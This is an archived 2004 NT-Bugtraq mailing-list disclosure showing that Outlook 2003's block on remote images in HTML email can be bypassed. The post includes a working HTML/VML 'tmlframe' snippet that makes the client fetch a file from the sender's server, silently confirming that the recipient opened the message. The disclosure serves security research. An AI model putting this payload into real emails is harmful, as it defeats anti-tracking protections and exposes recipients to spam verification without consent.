

PING: Outlook 2003 Spam

Source: <http://www.derkeiler.com/Mailing-Lists/NT-Bugtraq/2004-05/0021.html>

http-equiv_at_excite.com

Date: 05/14/04

Date: Fri, 14 May 2004 13:22:21 -0000
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

Tuesday, May 11, 2004

Outlook 2003 the premier mail client from the company called 'Microsoft' certainly appears to have a lot of security features built into it. cursory examination shows excellent thought into 'spam' containment, 'security' consideration and many other little 'things'. So much so the default rendering of html is in so-called 'restricted zone' which disallows nearly everything [frames, iframes, objects, scripting etc.]. In addition 'special' spam measures are taken to disallow graphic downloads from a remote server in html email which can be used to verify recipients:

[screen shot: <http://www.malware.com/duhlook.png> 40KB]

The Key Word is: nearly

Utilising Outlook's own bizarre scheMAH ! which comprises a 'proper' frame along with an src pointing to our remote server, we are able to ping the server and confirm our recipient has viewed our email. We don't require graphics or frames or iframes to do that:

```
<v:tml frame style="LEFT: 50px; WIDTH: 300px; POSITION:
relative; TOP: 30px; HEIGHT: 200px"
src = "http://www.malware.com/duh.txt#malware"></v:tmlframe>
```

```
<HTML>
<HEAD>
<STYLE>
v:* { behavior: url(#default#VML); }
</STYLE>
<XML:NAMESPACE NS="urn:schemas-microsoft-com:tml" PREFIX="v"/>
</HEAD>
```

Notes:

NT-Bugtraq: PING: Outlook 2003 Spam

1. We now commence our examination of the Microsoft Office 2003 suite, we're a bit late, but it has taken all this time to save up to buy the thing
2. Quick 72 hour prodding reveals that this 'perceived' premier device known as Outlook 2003 is in fact riddled with holes
3. Do not receive or open any emails period. Use string and tin cans if you must communicate

End Call

--

<http://www.malware.com>

Earn up to 10 credit course hours toward the TruSecure ICISA Practitioner (TICSA) Credential and more
